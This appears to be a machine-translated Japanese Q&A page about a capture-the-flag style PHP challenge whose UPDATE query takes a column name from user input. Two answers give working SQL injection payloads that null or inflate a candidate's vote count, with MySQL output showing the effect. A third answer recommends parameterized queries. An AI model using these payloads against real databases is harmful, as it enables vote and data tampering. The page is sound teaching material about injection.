web-dev-qa-db-ja.com

これはPHPコードの脆弱なSQLインジェクションですか?

$ vote変数に対する制御を与えられた(「チャレンジ」関数内)

SQLでクエリを挿入する方法はありますか? (ところで、チャレンジ関数が返すものはすべてSQLエラーなどを表示/読み取ることができます。SQLを挿入することはできましたが、$vote + 1 "パートなので、挿入しようとすると構文エラーが発生します。)

function evil($vote) 
{ 
    #Comments not allowed ]:-> 
    #Sorry. 
    $vote = str_replace('#', '', $vote); 
    $vote = str_replace('/', '', $vote); 
    $vote = str_replace('*', '', $vote); 
    $vote = str_replace('-', '', $vote); 
    return $vote; 
} 
function challenge($vote) 
{ 
    $vote = evil($vote); 
    $q = "UPDATE `sqlinjection2` SET `$vote`=`$vote`+1"; 
    $r = mysql_query($q); 
    if(!$r) 
        return mysql_error(); 
    return 'Thanks for vote!'; 
} 
4
Name

コメントの削除はsomeインジェクションに役立ちますが、必ずすべてではないです。

この場合でも、$voteを設定して、割り当てであったものから論理シーケンスを構築することで、フィールドをゼロにできます。

 variable   :          vote`=1 + `vote
 query      : ... SET `vote`=1 + `vote`=`vote`=1 + `vote`+1;

これにより、投票が0以外の場合は0、0の場合は1に交互に投票します。

ただし、同じ更新でフィールドを複数回指定でき、すべての更新が実行されるため、次のこともできます。

 variable   :          vote`=1, `vote`=X+`vote
 query      : ... SET `vote`=1, `vote`=X+`vote`=`vote`=1, `vote`=X+`vote`+1;

これは、投票を1に設定し、次に0に、次に0 + X + 1に設定します(Xが投票を2に設定するX = 0を除く)。

4
LSerni

あなたの前提全体に欠陥があります。これは、データベースの最初の設計としてはひどいものです。

これが、テーブル構造に関する私の推奨事項です。

CREATE TABLE votes (  
  id SERIAL PRIMARY KEY,
  candidate VARCHAR(20) UNIQUE NOT NULL,
  votes INT NOT NULL DEFAULT 0
);

少し記入してください:

INSERT INTO votes (candidate, votes) VALUES ('Alice',0);
INSERT INTO votes (candidate, votes) VALUES ('Bob',0);
INSERT INTO votes (candidate, votes) VALUES ('Fred',0);
INSERT INTO votes (candidate, votes) VALUES ('Dana',0); 

だから私たちは私たちの名簿を持っています:

sqlinjection2=# SELECT * FROM votes;
 id | candidate | votes 
----+-----------+-------
  1 | Alice     |     0
  2 | Bob       |     0
  3 | Fred      |     0
  4 | Dana      |     0
(4 rows)

そしてあなたのコードのために:

function vote($candidate) {
 $query='SELECT votes FROM votes WHERE candidate = ?'
 $dbh=$db->prepare($query);
 $result = $dbh->execute($candidate);
 if($result->rowcount() == 0) { /* Write-in candidate */
   $votes = 0;
   $query = 'INSERT INTO votes (votes, candidate) VALUES (?, ?)';
 } else {
   $row = $result->fetch();
   $votes = $row['votes']
   $query = 'UPDATE votes SET votes=? WHERE candidate = ?';
 }
 $dbh = $db->prepare($query);
 $votes++;
 $result = $dbh->execute($votes, $candidate);
}

(手作業でフォーマットして申し訳ありません)

この設定により、テーブルを再編成することなく、任意の数の候補を使用できます。さらに、列名の入力値に完全に依存する必要がなくなり、コードは準備され、パラメーター化されたSQLステートメントを使用します。

例外、トランザクション、およびエラー処理は、読者の練習問題として残されています。

0
Shadur

はい、投票を無効にすることができます。解決策は次のとおりです。

投票用のMysqlデータベーステーブルは次のようにインスタンス化されます。

mysql> use test;
Database changed
mysql> create table sqlinjection2 (ALICE int,BOB int);
Query OK, 0 rows affected (0.03 sec)

mysql> INSERT INTO sqlinjection2 values (0,0);
Query OK, 1 row affected (0.01 sec)

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     0 |       0 |
+-------+---------+
1 row in set (0.00 sec)

ALICEへの通常の投票で実行されるクエリ

UPDATE `test`.`sqlinjection2` SET `ALICE`=`ALICE`+1 

ALICE XOR ALICEなどの注射を試しましたが、うまくいきませんでした。

私のために働いたものは以下でした

パラメータ:

 vote=ALICE`=NULL , `ALICE`=`ALICE`

実行されたSqlString:

UPDATE `test`.`sqlinjection2` SET `ALICE`=NULL , `ALICE`=`ALICE`=`ALICE`=NULL , `ALICE`=`ALICE`+1

注射前の表

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     20|      20 |
+-------+---------+
1 row in set (0.00 sec)

注入後の表

 mysql> select * from sqlinjection2;
    +-------+---------+
    | ALICE | BOB     |
    +-------+---------+
    |  NULL |      20 |
    +-------+---------+
    1 row in set (0.00 sec)

また、ALICEは通常の場合は勝ちません。 NULL+1NULLです。

pdate:ALICEで勝利したい場合は、以下のようなパラメータを注入できます

パラメータ:

 vote=ALICE`=999999 , `ALICE`=`ALICE`
0
Sravan